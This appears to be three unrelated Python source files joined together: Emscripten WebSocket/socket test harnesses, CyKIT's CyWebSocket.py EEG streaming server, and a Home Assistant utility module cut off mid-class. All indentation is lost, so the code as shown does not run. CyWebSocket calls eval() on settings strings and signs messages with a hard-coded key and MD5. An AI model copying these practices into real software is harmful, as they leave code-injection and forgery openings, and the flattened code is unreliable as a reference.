print('running websockify on %d, forward to tcp %d' % (self.listen_port, self.target_port), file=sys.stderr)
wsp = websockify.WebSocketProxy(verbose=True, listen_port=self.listen_port, target_host="127.0.0.1", target_port=self.target_port, run_once=True)
self.websockify = multiprocessing.Process(target=wsp.start_server)
self.websockify.start()
self.processes.append(self.websockify)
# Make sure both the actual server and the websocket proxy are running
for i in range(10):
try:
if self.do_server_check:
server_sock = socket.create_connection(('localhost', self.target_port), timeout=1)
server_sock.close()
proxy_sock = socket.create_connection(('localhost', self.listen_port), timeout=1)
proxy_sock.close()
break
except IOError:
time.sleep(1)
else:
clean_processes(self.processes)
raise Exception('[Websockify failed to start up in a timely manner]')
print('[Websockify on process %s]' % str(self.processes[-2:]))
def __exit__(self, *args, **kwargs):
# try to kill the websockify proxy gracefully
if self.websockify.is_alive():
self.websockify.terminate()
self.websockify.join()
# clean up any processes we started
clean_processes(self.processes)
class CompiledServerHarness():
def __init__(self, filename, args, listen_port):
self.processes = []
self.filename = filename
self.listen_port = listen_port
self.args = args or []
def __enter__(self):
# assuming this is only used for WebSocket tests at the moment, validate that
# the ws module is installed
global npm_checked
if not npm_checked:
child = run_process(config.NODE_JS + ['-e', 'require("ws");'], check=False)
assert child.returncode == 0, '"ws" node module not found. you may need to run npm install'
npm_checked = True
# compile the server
proc = run_process([EMCC, '-Werror', test_file(self.filename), '-o', 'server.js', '-DSOCKK=%d' % self.listen_port] + self.args)
print('Socket server build: out:', proc.stdout or '', '/ err:', proc.stderr or '')
process = Popen(config.NODE_JS + ['server.js'])
self.processes.append(process)
def __exit__(self, *args, **kwargs):
# clean up any processes we started
clean_processes(self.processes)
# always run these tests last
# make sure to use different ports in each one because it takes a while for the processes to be cleaned up
# Executes a native executable server process
class BackgroundServerProcess():
def __init__(self, args):
self.processes = []
self.args = args
def __enter__(self):
print('Running background server: ' + str(self.args))
process = Popen(self.args)
self.processes.append(process)
def __exit__(self, *args, **kwargs):
clean_processes(self.processes)
def NodeJsWebSocketEchoServerProcess():
return BackgroundServerProcess(config.NODE_JS + [test_file('websocket', 'nodejs_websocket_echo_server.js')])
def PythonTcpEchoServerProcess(port):
return BackgroundServerProcess([PYTHON, test_file('websocket', 'tcp_echo_server.py'), port])
class sockets(BrowserCore):
emcc_args = []
@classmethod
def setUpClass(cls):
super().setUpClass()
print()
print('Running the socket tests. Make sure the browser allows popups from localhost.')
print()
# Use emscripten root for node module lookup. This is needed because the unit tests each
# run with CWD set to a temporary directory outside the emscripten tree.
print('Setting NODE_PATH=' + path_from_root('node_modules'))
os.environ['NODE_PATH'] = path_from_root('node_modules')
def test_sockets_echo(self, extra_args=[]):
sockets_include = '-I' + test_file('sockets')
# Note: in the WebsockifyServerHarness and CompiledServerHarness tests below, explicitly use consecutive server listen ports,
# because server teardown might not occur deterministically (python dtor time) and is a bit racy.
# WebsockifyServerHarness uses two port numbers, x and x-1, so increment it by two.
# CompiledServerHarness only uses one. Start with 49160 & 49159 as the first server port addresses. If adding new tests,
# increment the used port addresses below.
# Websockify-proxied servers can't run dgram tests
harnesses = [
(CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_DGRAM=0'], 49161), 0),
(CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_DGRAM=1'], 49162), 1),
# The following forces non-NULL addr and addlen parameters for the accept call
(CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_DGRAM=0', '-DTEST_ACCEPT_ADDR=1'], 49163), 0)
]
if not WINDOWS: # TODO: Python pickling bug causes WebsockifyServerHarness to not work on Windows.
harnesses += [(WebsockifyServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include], 49160), 0)]
for harness, datagram in harnesses:
with harness:
self.btest(os.path.join('sockets', 'test_sockets_echo_client.c'), expected='0', args=['-DSOCKK=%d' % harness.listen_port, '-DTEST_DGRAM=%d' % datagram, sockets_include])
def test_sockets_echo_pthreads(self, extra_args=[]):
self.test_sockets_echo(['-s', 'USE_PTHREADS', '-s', 'PROXY_TO_PTHREAD'])
def test_sdl2_sockets_echo(self):
harness = CompiledServerHarness('sdl2_net_server.c', ['-s', 'USE_SDL=2', '-s', 'USE_SDL_NET=2'], 49164)
with harness:
self.btest('sdl2_net_client.c', expected='0', args=['-s', 'USE_SDL=2', '-s', 'USE_SDL_NET=2', '-DSOCKK=%d' % harness.listen_port])
def test_sockets_async_echo(self):
sockets_include = '-I' + test_file('sockets')
# Websockify-proxied servers can't run dgram tests
harnesses = [
(CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_DGRAM=0', '-DTEST_ASYNC=1'], 49167), 0),
(CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_DGRAM=1', '-DTEST_ASYNC=1'], 49168), 1),
# The following forces non-NULL addr and addlen parameters for the accept call
(CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_DGRAM=0', '-DTEST_ACCEPT_ADDR=1', '-DTEST_ASYNC=1'], 49169), 0)
]
if not WINDOWS: # TODO: Python pickling bug causes WebsockifyServerHarness to not work on Windows.
harnesses += [(WebsockifyServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_ASYNC=1'], 49166), 0)]
for harness, datagram in harnesses:
print('harness:', harness)
with harness:
self.btest(os.path.join('sockets', 'test_sockets_echo_client.c'), expected='0', args=['-DSOCKK=%d' % harness.listen_port, '-DTEST_DGRAM=%d' % datagram, '-DTEST_ASYNC=1', sockets_include])
# Deliberately attempt a connection on a port that will fail to test the error callback and getsockopt
print('expect fail')
self.btest(os.path.join('sockets', 'test_sockets_echo_client.c'), expected='0', args=['-DSOCKK=49169', '-DTEST_ASYNC=1', sockets_include])
def test_sockets_echo_bigdata(self):
sockets_include = '-I' + test_file('sockets')
# generate a large string literal to use as our message
message = ''
for i in range(256 * 256 * 2):
message += str(chr(ord('a') + (i % 26)))
# re-write the client test with this literal (it's too big to pass via command line)
input_filename = test_file('sockets', 'test_sockets_echo_client.c')
input = read_file(input_filename)
create_file('test_sockets_echo_bigdata.c', input.replace('#define MESSAGE "pingtothepong"', '#define MESSAGE "%s"' % message))
harnesses = [
(CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_DGRAM=0'], 49172), 0),
(CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_DGRAM=1'], 49173), 1)
]
if not WINDOWS: # TODO: Python pickling bug causes WebsockifyServerHarness to not work on Windows.
harnesses += [(WebsockifyServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include], 49171), 0)]
for harness, datagram in harnesses:
with harness:
self.btest('test_sockets_echo_bigdata.c', expected='0', args=[sockets_include, '-DSOCKK=%d' % harness.listen_port, '-DTEST_DGRAM=%d' % datagram])
@no_windows('This test is Unix-specific.')
def test_sockets_partial(self):
for harness in [
WebsockifyServerHarness(os.path.join('sockets', 'test_sockets_partial_server.c'), [], 49180),
CompiledServerHarness(os.path.join('sockets', 'test_sockets_partial_server.c'), [], 49181)
]:
with harness:
self.btest_exit(os.path.join('sockets', 'test_sockets_partial_client.c'), assert_returncode=165, args=['-DSOCKK=%d' % harness.listen_port])
@no_windows('This test is Unix-specific.')
def test_sockets_select_server_down(self):
for harness in [
WebsockifyServerHarness(os.path.join('sockets', 'test_sockets_select_server_down_server.c'), [], 49190, do_server_check=False),
CompiledServerHarness(os.path.join('sockets', 'test_sockets_select_server_down_server.c'), [], 49191)
]:
with harness:
self.btest(os.path.join('sockets', 'test_sockets_select_server_down_client.c'), expected='266', args=['-DSOCKK=%d' % harness.listen_port])
@no_windows('This test is Unix-specific.')
def test_sockets_select_server_closes_connection_rw(self):
sockets_include = '-I' + test_file('sockets')
for harness in [
WebsockifyServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DCLOSE_CLIENT_AFTER_ECHO'], 49200),
CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DCLOSE_CLIENT_AFTER_ECHO'], 49201)
]:
with harness:
self.btest(os.path.join('sockets', 'test_sockets_select_server_closes_connection_client_rw.c'), expected='266', args=[sockets_include, '-DSOCKK=%d' % harness.listen_port])
@no_windows('This test uses Unix-specific build architecture.')
def test_enet(self):
# this is also a good test of raw usage of emconfigure and emmake
shared.try_delete('enet')
shutil.copytree(test_file('third_party', 'enet'), 'enet')
with utils.chdir('enet'):
self.run_process([path_from_root('emconfigure'), './configure', '--disable-shared'])
self.run_process([path_from_root('emmake'), 'make'])
enet = [self.in_dir('enet', '.libs', 'libenet.a'), '-I' + self.in_dir('enet', 'include')]
for harness in [
CompiledServerHarness(os.path.join('sockets', 'test_enet_server.c'), enet, 49210)
]:
with harness:
self.btest(os.path.join('sockets', 'test_enet_client.c'), expected='0', args=enet + ['-DSOCKK=%d' % harness.listen_port])
def test_nodejs_sockets_echo(self):
# This test checks that sockets work when the client code is run in Node.js
if config.NODE_JS not in config.JS_ENGINES:
self.skipTest('node is not present')
sockets_include = '-I' + test_file('sockets')
harnesses = [
(CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_DGRAM=0'], 59162), 0),
(CompiledServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include, '-DTEST_DGRAM=1'], 59164), 1)
]
if not WINDOWS: # TODO: Python pickling bug causes WebsockifyServerHarness to not work on Windows.
harnesses += [(WebsockifyServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include], 59160), 0)]
# Basic test of node client against both a Websockified and compiled echo server.
for harness, datagram in harnesses:
with harness:
self.run_process([EMCC, '-Werror', test_file('sockets', 'test_sockets_echo_client.c'), '-o', 'client.js', '-DSOCKK=%d' % harness.listen_port, '-DTEST_DGRAM=%d' % datagram], stdout=PIPE, stderr=PIPE)
out = self.run_js('client.js')
self.assertContained('do_msg_read: read 14 bytes', out)
if not WINDOWS: # TODO: Python pickling bug causes WebsockifyServerHarness to not work on Windows.
# Test against a Websockified server with compile time configured WebSocket subprotocol. We use a Websockified
# server because as long as the subprotocol list contains binary it will configure itself to accept binary
# This test also checks that the connect url contains the correct subprotocols.
print("\nTesting compile time WebSocket configuration.\n")
for harness in [
WebsockifyServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include], 59166)
]:
with harness:
self.run_process([EMCC, '-Werror', test_file('sockets', 'test_sockets_echo_client.c'), '-o', 'client.js', '-s', 'SOCKET_DEBUG', '-s', 'WEBSOCKET_SUBPROTOCOL="base64, binary"', '-DSOCKK=59166'], stdout=PIPE, stderr=PIPE)
out = self.run_js('client.js')
self.assertContained('do_msg_read: read 14 bytes', out)
self.assertContained(['connect: ws://127.0.0.1:59166, base64,binary', 'connect: ws://127.0.0.1:59166/, base64,binary'], out)
# Test against a Websockified server with runtime WebSocket configuration. We specify both url and subprotocol.
# In this test we have *deliberately* used the wrong port '-DSOCKK=12345' to configure the echo_client.c, so
# the connection would fail without us specifying a valid WebSocket URL in the configuration.
print("\nTesting runtime WebSocket configuration.\n")
for harness in [
WebsockifyServerHarness(os.path.join('sockets', 'test_sockets_echo_server.c'), [sockets_include], 59168)
]:
with harness:
open(os.path.join(self.get_dir(), 'websocket_pre.js'), 'w').write('''
var Module = {
websocket: {
url: 'ws://localhost:59168/testA/testB',
subprotocol: 'text, base64, binary',
}
};
''')
self.run_process([EMCC, '-Werror', test_file('sockets', 'test_sockets_echo_client.c'), '-o', 'client.js', '--pre-js', 'websocket_pre.js', '-s', 'SOCKET_DEBUG', '-DSOCKK=12345'], stdout=PIPE, stderr=PIPE)
out = self.run_js('client.js')
self.assertContained('do_msg_read: read 14 bytes', out)
self.assertContained('connect: ws://localhost:59168/testA/testB, text,base64,binary', out)
# Test Emscripten WebSockets API to send and receive text and binary messages against an echo server.
# N.B. running this test requires 'npm install ws' in Emscripten root directory
def test_websocket_send(self):
with NodeJsWebSocketEchoServerProcess():
self.btest(test_file('websocket', 'test_websocket_send.c'), expected='101', args=['-lwebsocket', '-s', 'NO_EXIT_RUNTIME', '-s', 'WEBSOCKET_DEBUG'])
# Test that native POSIX sockets API can be used by proxying calls to an intermediate WebSockets -> POSIX sockets bridge server
def test_posix_proxy_sockets(self):
# Build the websocket bridge server
self.run_process(['cmake', path_from_root('tools/websocket_to_posix_proxy')])
self.run_process(['cmake', '--build', '.'])
if os.name == 'nt': # This is not quite exact, instead of "isWindows()" this should be "If CMake defaults to building with Visual Studio", but there is no good check for that, so assume Windows==VS.
proxy_server = os.path.join(self.get_dir(), 'Debug', 'websocket_to_posix_proxy.exe')
else:
proxy_server = os.path.join(self.get_dir(), 'websocket_to_posix_proxy')
with BackgroundServerProcess([proxy_server, '8080']):
with PythonTcpEchoServerProcess('7777'):
# Build and run the TCP echo client program with Emscripten
self.btest(test_file('websocket', 'tcp_echo_client.cpp'), expected='101', args=['-lwebsocket', '-s', 'PROXY_POSIX_SOCKETS', '-s', 'USE_PTHREADS', '-s', 'PROXY_TO_PTHREAD'])
|
CyWebSocket.py | # -*- coding: utf8 -*-
#
# ♦ CyKIT ♦ 2018.Dec.26
# ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
# CyWebSocket.py
# Adapted by Warren
#
# pywebsocketserver.py
# Written by suxianbaozi
#
# Python web server for connecting sockets locally
# with browsers as well as a generic TCP server.
#
import sys
import socket
import time
import select
import threading
import hashlib
import base64
import struct
import traceback
import inspect
class dbg():
def txt(custom_string):
return
try:
print(custom_string)
return
except OSError as exp:
return
class mirror():
def text(custom_string):
try:
print(str(custom_string))
return
except OSError as exp:
return
class socketIO():
def __init__(self, port, uid, ioHandler):
self.time_delay = .001
self.openvibe = False
self.ovdelay = 100
self.port = port
self.con = None
self.isHandleShake = False
self.uid = uid
self.io = ioHandler
self.signKey = "ADS#@!D"
self.online = True
self.generic = False
self.lock = threading.Lock()
self.thread_2 = threading.Thread(name='ioThread', target=self.run, daemon=False)
self.stop_thread = False
self.ovData = bytes()
self.ovsamples = 4
self.ov_packetCount = 0
self.verbose = False
self.io.setInfo("generic","False")
self.verbose = eval(self.io.getInfo("verbose"))
if uid == 0:
self.io.setInfo("generic","True")
self.generic = True
self.isHandleShake = True
def start(self):
self.socketThreadRunning = True
self.thread_2.start()
def Disconnect(self):
self.socketThreadRunning = False
self.con.close()
def Connect(self):
if eval(self.io.getInfo("noweb")) == True:
time.sleep(0)
return "noweb"
mirror.text("(-) Connecting . . .")
# Row. Row. Row. Your Boat. Gently Down The ______
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('',self.port))
sock.listen(1)
try:
(self.con,address) = sock.accept()
mirror.text("(+) Connected.\r\n")
except socket.error as e:
mirror.text("(-) Not Connected. ")
mirror.text(" Socket Error: " + str(e))
return self.con
def stopThread(self):
self.socketThreadRunning = False
return
def run(self):
self.socketThreadRunning = True
time.sleep(.001)
if eval(self.io.getInfo("noweb")) == True:
time.sleep(.001)
while self.socketThreadRunning == True:
if eval(self.io.getInfo("status")) != True:
return
time.sleep(.001)
continue
return
if eval(self.io.getInfo("openvibe")) == True:
time.sleep(.001)
self.io.onGeneric(0)
self.ovdelay = (int(self.io.getInfo("ovdelay")) * 100)
self.ovsamples = int(self.io.getInfo("ovsamples"))
while self.socketThreadRunning == True:
time.sleep(.001)
if eval(self.io.getInfo("openvibe")) == True:
self.openvibeTimer = 0
while self.openvibeTimer > self.ovdelay:
time.sleep(.001)
self.openvibeTimer += 1
return
if eval(self.io.getInfo("generic")) == True:
try:
self.con.setblocking(0)
ready = select.select([self.con], [], [], 1)
if ready[0]:
if "closed" in str(self.con):
return
try:
clientData = self.con.recv(1024).decode()
if clientData == '':
return
except:
return
self.io.onGeneric(0)
if eval(self.io.getInfo("openvibe")) == True:
self.openvibe = True
continue
continue
except socket.error as e:
mirror.text(" ==== CyWebSocket().run() - (Generic TCP) ")
mirror.text(str(socket.error))
if e.errno == 10035:
self.time_delay += .001
time.sleep(self.time_delay)
return
return
if not self.isHandleShake:
try:
self.con.setblocking(0)
ready = select.select([self.con], [], [], 1)
if ready[0]:
if "closed" in str(self.con):
return
try:
clientData = self.con.recv(1024).decode()
except:
return
if clientData == '':
return
dataList = clientData.split("\r\n")
header = {}
for data in dataList:
if ": " in data:
unit = data.split(": ")
header[unit[0]] = unit[1]
secKey = header['Sec-WebSocket-Key']
resKey = base64.encodestring(hashlib.new("sha1",(secKey+"258EAFA5-E914-47DA-95CA-C5AB0DC85B11").encode('utf-8')).digest())
resKey = resKey.decode().replace("\n","")
response = '''HTTP/1.1 101 Switching Protocols\r\n'''
response += '''Upgrade: websocket\r\n'''
response += '''Connection: Upgrade\r\n'''
response += '''Sec-WebSocket-Accept: %s\r\n\r\n'''%(resKey,)
try:
self.con.send(bytes(response,'latin-1'))
self.isHandleShake = True
self.sendData("SETUID")
self.io.onConnect(self.uid)
time.sleep(1)
except:
return
continue
except Exception as e:
self.socketThreadRunning = False
exc_type, ex, tb = sys.exc_info()
imported_tb_info = traceback.extract_tb(tb)[-1]
line_number = imported_tb_info[1]
print_format = '{}: Exception in line: {}, message: {}'
mirror.text(print_format.format(exc_type.__name__, line_number, ex))
mirror.text(traceback.format_exc())
continue
else:
try:
self.con.setblocking(0)
if "closed" in str(self.con):
return
ready = select.select([self.con], [], [], 1)
if ready[0]:
if "closed" in str(self.con):
return
data_head = self.con.recv(1).decode('latin-1')
if repr(data_head) == '':
self.onClose("1")
return
if "closed" in str(self.con):
return
try:
header = struct.unpack("B",bytes(data_head,'latin-1'))[0]
except:
return
opcode = header & 0b00001111
if opcode == 8:
if self.verbose == True:
mirror.text("* Closing Connection.")
self.socketThreadRunning = False
self.onClose("2")
continue
if "closed" in str(self.con):
return
data_length = self.con.recv(1).decode('latin-1')
data_lengths= struct.unpack("B",bytes(data_length,'latin-1'))
data_length = data_lengths[0]& 0b01111111
masking = data_lengths[0] >> 7
if data_length<=125:
payloadLength = data_length
elif data_length==126:
payloadLength = struct.unpack("H",bytes(self.con.recv(2).decode('latin-1'),'latin-1'))[0]
elif data_length==127:
payloadLength = struct.unpack("Q",bytes(self.con.recv(8).decode('latin-1'),'latin-1'))[0]
if masking==1:
if "closed" in str(self.con):
return
maskingKey = self.con.recv(4).decode('latin-1')
self.maskingKey = maskingKey
data = self.con.recv(payloadLength).decode('latin-1')
if masking==1:
i = 0
true_data = ''
for d in data:
true_data += chr(ord(d) ^ ord(maskingKey[i%4]))
i += 1
self.onData(true_data)
else:
self.onData(data)
except socket.error as e:
mirror.text(traceback.format_exc())
mirror.text("= E.12 Socket Error: " + str(e.errno))
if e.errno == 10035:
#self.time_delay += .001
#time.sleep(self.time_delay)
continue
if e.errno == 9 or e.errno == 10053 or e.errno == 10054 or e.errno == 10038:
self.socketThreadRunning = False
self.socketThreadRunning = False
self.onClose("3")
return
def onData(self,text) :
try:
uid,sign,value = text.split("<split>")
uid = int(uid)
if self.verbose == True:
mirror.text("CLIENT >>> " + (value).replace(':::','.'))
except:
self.con.close()
hashStr = hashlib.new("md5",(str(uid)+self.signKey).encode('utf-8')).hexdigest()
if hashStr!=sign:
mirror.text(" CyWebSocket.py onData() [ Browser Hash Invalid ]")
self.con.close()
return
return self.io.onData(uid,value)
def onClose(self, location):
if self.verbose == True:
mirror.text("* Closing from location: " + str(location))
self.socketThreadRunning = False
#self.io.setInfo("generic","False")
if "closed" not in str(self.con):
if eval(self.io.getInfo("noweb")) == False:
self.con.close()
self.io.onClose("CyWebSocket")
return
def packData(self,text):
sign = hashlib.new("md5",(str(self.uid)+self.signKey).encode('utf-8')).hexdigest()
data = '%s<split>%s<split>%s'%(self.uid,sign,text)
return data
def sendOVint(self, text):
try:
ov_split = str(text).split(",")
if self.ov_packetCount >= self.ovsamples:
self.con.sendall(self.ovData)
self.ovData = bytes()
self.ov_packetCount = 0
#ov_floats = map((lambda x: float("%.11f" % float(x))), ov_split)
ov_ints = list(map(lambda x: int(float(x)), ov_split))
self.ovData += b''.join((struct.pack('>h', val) for val in ov_ints))
self.ov_packetCount += 1
except OSError as e:
self.socketThreadRunning = False
self.onClose("3")
return
def sendOVfloat(self, text):
try:
ov_split = str(text).split(",")
if self.ov_packetCount >= self.ovsamples:
self.con.sendall(self.ovData)
self.ovData = bytes()
self.ov_packetCount = 0
ov_floats = list(map(lambda x: float(x), ov_split))
self.ovData += b''.join((struct.pack('>f', val) for val in ov_floats))
self.ov_packetCount += 1
except OSError as e:
self.socketThreadRunning = False
self.onClose("3")
return
def sendData(self, text):
if eval(self.io.getInfo("status")) == False:
return
if eval(self.io.getInfo("noweb")) == True:
if "outputdata" not in self.io.getInfo("config"):
mirror.text(str(text))
return "noweb"
if self.uid == 0:
try:
text += "\r\n"
text = bytes(text, 'utf-8')
self.con.send(text)
if self.verbose == True:
if len(text) > 50:
return
mirror.text("CLIENT <<< " + str(text))
except Exception as e:
self.socketThreadRunning = False
self.io.setInfo("status","False")
self.onClose("cyWebSocket sendData()")
mirror.text(" ==== CyWebSocket().sendData() - (TEXT) Send Data Failure. ")
else:
try:
text = self.packData(text)
if "closed" in str(self.con):
self.socketThreadRunning = False
self.io.setInfo("status","False")
return
self.con.send(struct.pack("!B",0x81))
length = len(text)
if length<=125:
self.con.send(struct.pack("!B",length))
elif length<=65536:
self.con.send(struct.pack("!B",126))
self.con.send(struct.pack("!H",length))
else:
self.con.send(struct.pack("!B",127))
self.con.send(struct.pack("!Q",length))
self.con.send(struct.pack("!%ds"%(length,),bytes(text, 'utf-8')))
except Exception as e:
if e.errno == 10038:
self.socketThreadRunning = False
return
exc_type, ex, tb = sys.exc_info()
imported_tb_info = traceback.extract_tb(tb)[-1]
line_number = imported_tb_info[1]
print_format = '{}: Exception in line: {}, message: {}'
mirror.text(" ==== CyWebSocket().sendData() - (WEB CLIENT) Send Data Failure. ")
mirror.text(" =E4. " + print_format.format(exc_type.__name__, line_number, ex))
mirror.text(traceback.format_exc())
return
|
util.py | """
homeassistant.util
~~~~~~~~~~~~~~~~~~
Helper methods for various modules.
"""
import collections
from itertools import chain
import threading
import queue
from datetime import datetime, timedelta
import re
import enum
import socket
import random
import string
from functools import wraps
RE_SANITIZE_FILENAME = re.compile(r'(~|\.\.|/|\\)')
RE_SANITIZE_PATH = re.compile(r'(~|\.(\.)+)')
RE_SLUGIFY = re.compile(r'[^A-Za-z0-9_]+')
DATE_STR_FORMAT = "%H:%M:%S %d-%m-%Y"
def sanitize_filename(filename):
""" Sanitizes a filename by removing .. / and \\. """
return RE_SANITIZE_FILENAME.sub("", filename)
def sanitize_path(path):
""" Sanitizes a path by removing ~ and .. """
return RE_SANITIZE_PATH.sub("", path)
def slugify(text):
""" Slugifies a given text. """
text = text.replace(" ", "_")
return RE_SLUGIFY.sub("", text)
def datetime_to_str(dattim):
""" Converts datetime to a string format.
@rtype : str
"""
return dattim.strftime(DATE_STR_FORMAT)
def str_to_datetime(dt_str):
""" Converts a string to a datetime object.
@rtype: datetime
"""
try:
return datetime.strptime(dt_str, DATE_STR_FORMAT)
except ValueError: # If dt_str did not match our format
return None
def strip_microseconds(dattim):
""" Returns a copy of dattime object but with microsecond set to 0. """
if dattim.microsecond:
return dattim - timedelta(microseconds=dattim.microsecond)
else:
return dattim
def split_entity_id(entity_id):
""" Splits a state entity_id into domain, object_id. """
return entity_id.split(".", 1)
def repr_helper(inp):
""" Helps creating a more readable string representation of objects. """
if isinstance(inp, dict):
return ", ".join(
repr_helper(key)+"="+repr_helper(item) for key, item
in inp.items())
elif isinstance(inp, datetime):
return datetime_to_str(inp)
else:
return str(inp)
# Taken from: http://www.cse.unr.edu/~quiroz/inc/colortransforms.py
# License: Code is given as is. Use at your own risk and discretion.
# pylint: disable=invalid-name
def color_RGB_to_xy(R, G, B):
""" Convert from RGB color to XY color. """
if R + G + B == 0:
return 0, 0
var_R = (R / 255.)
var_G = (G / 255.)
var_B = (B / 255.)
if var_R > 0.04045:
var_R = ((var_R + 0.055) / 1.055) ** 2.4
else:
var_R /= 12.92
if var_G > 0.04045:
var_G = ((var_G + 0.055) / 1.055) ** 2.4
else:
var_G /= 12.92
if var_B > 0.04045:
var_B = ((var_B + 0.055) / 1.055) ** 2.4
else:
var_B /= 12.92
var_R *= 100
var_G *= 100
var_B *= 100
# Observer. = 2 deg, Illuminant = D65
X = var_R * 0.4124 + var_G * 0.3576 + var_B * 0.1805
Y = var_R * 0.2126 + var_G * 0.7152 + var_B * 0.0722
Z = var_R * 0.0193 + var_G * 0.1192 + var_B * 0.9505
# Convert XYZ to xy, see CIE 1931 color space on wikipedia
return X / (X + Y + Z), Y / (X + Y + Z)
def convert(value, to_type, default=None):
""" Converts value to to_type, returns default if fails. """
try:
return default if value is None else to_type(value)
except ValueError:
# If value could not be converted
return default
def ensure_unique_string(preferred_string, current_strings):
""" Returns a string that is not present in current_strings.
If preferred string exists will append _2, _3, .. """
test_string = preferred_string
current_strings = list(current_strings)
tries = 1
while test_string in current_strings:
tries += 1
test_string = "{}_{}".format(preferred_string, tries)
return test_string
# Taken from: http://stackoverflow.com/a/11735897
def get_local_ip():
""" Tries to determine the local IP address of the machine. """
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Use Google Public DNS server to determine own IP
sock.connect(('8.8.8.8', 80))
ip_addr = sock.getsockname()[0]
sock.close()
return ip_addr
except socket.error:
return socket.gethostbyname(socket.gethostname())
# Taken from http://stackoverflow.com/a/23728630
def get_random_string(length=10):
""" Returns a random string with letters and digits. """
generator = random.SystemRandom()
source_chars = string.ascii_letters + string.digits
return ''.join(generator.choice(source_chars) for _ in range(length))
class OrderedEnum(enum.Enum):
""" Taken from Python 3.4.0 docs. """
# pylint: disable=no-init, too-few-public-methods
def __ge__(self, other):
if self.__class__ is other.__class__:
return self.value >= other.value
return NotImplemented
def __gt__(self, other):
if self.__class__ is other.__class__:
return self.value > other.value
return NotImplemented
def __le__(self, other):
if self.__class__ is other.__class__:
return self.value <= other.value
return NotImplemented
def __lt__(self, other):
if self.__class__ is other.__class__:
return self.value < other.value
return NotImplemented
class OrderedSet(collections.MutableSet):
""" Ordered set taken from http://code.activestate.com/recipes/576694/ """
def __init__(self, iterable=None):
self.end = end = []
end += [None, end, end] # sentinel node for doubly linked list
self.map = {} # key --> [key, prev, next]
if iterable is not None:
self |= iterable
def __len__(self):
return len(self.map)
def __contains__(self, key):
return key in self.map
def add(self, key):
""" Add an element to the end of the set. """
if key not in self.map:
end = self.end
curr = end[1]
curr[2] = end[1] = self.map[key] = [key, curr, end]
def promote(self, key):
""" Promote element to beginning of the set, add if not there. """
if key in self.map:
self.discard(key)
begin = self.end[2]
curr = begin[1]
curr[2] = begin[1] = self.map[key] = [key, curr, begin]
def discard(self, key):
""" Discard an element from the set. """
if key in self.map:
key, prev_item, next_item = self.map.pop(key)
prev_item[2] = next_item
next_item[1] = prev_item
def __iter__(self):
end = self.end
curr = end[2]
while curr is not end:
yield curr[0]
curr = curr[2]
def __reversed__(self):
end = self.end
curr = end[1]
while curr is not end:
yield curr[0]
curr = curr[1]
def pop(self, last=True): # pylint: disable=arguments-differ
""" Pops element of the end of the set.
Set last=False to pop from the beginning. """
if not self:
raise KeyError('set is empty')
key = self.end[1][0] if last else self.end[2][0]
self.discard(key)
return key
def update(self, *args):
""" Add elements from args to the set. """
for item in chain(*args):
self.add(item)
def __repr__(self):
if not self:
return '%s()' % (self.__class__.__name__,)
return '%s(%r)' % (self.__class__.__name__, list(self))
def __eq__(self, other):
if isinstance(other, OrderedSet):
return len(self) == len(other) and list(self) == list(other)
return set(self) == set(other)
class Throttle(object):
"""
A method decorator to add a cooldown to a method to prevent it from being
called more then 1 time within the timedelta interval `min_time` after it
returned its result.
Calling a method a second time during the interval will return None.
Pass keyword argument `no_throttle=True` to the wrapped method to make
the call not throttled.
Decorator takes in an optional second timedelta interval to throttle the
'no_throttle' calls.
Adds a datetime attribute `last_call` to the method.
"""
# pylint: disable=too-few-public-methods
def __init__(self, min_time, limit_no_throttle=None):
self.min_time = min_time
self.limit_no_throttle = limit_no_throttle
def __call__(self, method):
lock = threading.Lock()
if self.limit_no_throttle is not None:
method = Throttle(self.limit_no_throttle)(method)
@wraps(method)
def wrapper(*args, **kwargs):
"""
Wrapper that allows wrapped to be called only once per min_time.
If we cannot acquire the lock, it is running so return None.
"""
if lock.acquire(False):
try:
last_call = wrapper.last_call
# Check if method is never called or no_throttle is given
force = not last_call or kwargs.pop('no_throttle', False)
if force or datetime.now() - last_call > self.min_time:
result = method(*args, **kwargs)
wrapper.last_call = datetime.now()
return result
else:
return None
finally:
lock.release()
wrapper.last_call = None
return wrapper
class ThreadPool(object):
""" A priority queue-based thread pool. """
# pylint: disable=too-many-instance-attributes
def __init__(self, job_handler, worker_count=0, busy_callback=None):
"""
job_handler: method to be called from worker thread to handle job
worker_count: number of threads to run that handle jobs
busy_callback: method to be called when queue gets too big.
Parameters: worker_count, list of current_jobs,
pending_jobs_count
"""
self._job_handler = job_handler
self._busy_callback = busy_callback
self.worker_count = 0
self.busy_warning_limit = 0
self._work_queue = queue.PriorityQueue()
self.current_jobs = []
self._lock = threading.RLock()
self._quit_task = object()
self.running = True
for _ in range(worker_count):
self.add_worker()
def add_worker(self):
""" Adds a worker to the thread pool. Resets warning limit. """
with self._lock:
if not self.running:
raise RuntimeError("ThreadPool not running")
worker = threading.Thread(target=self._worker)
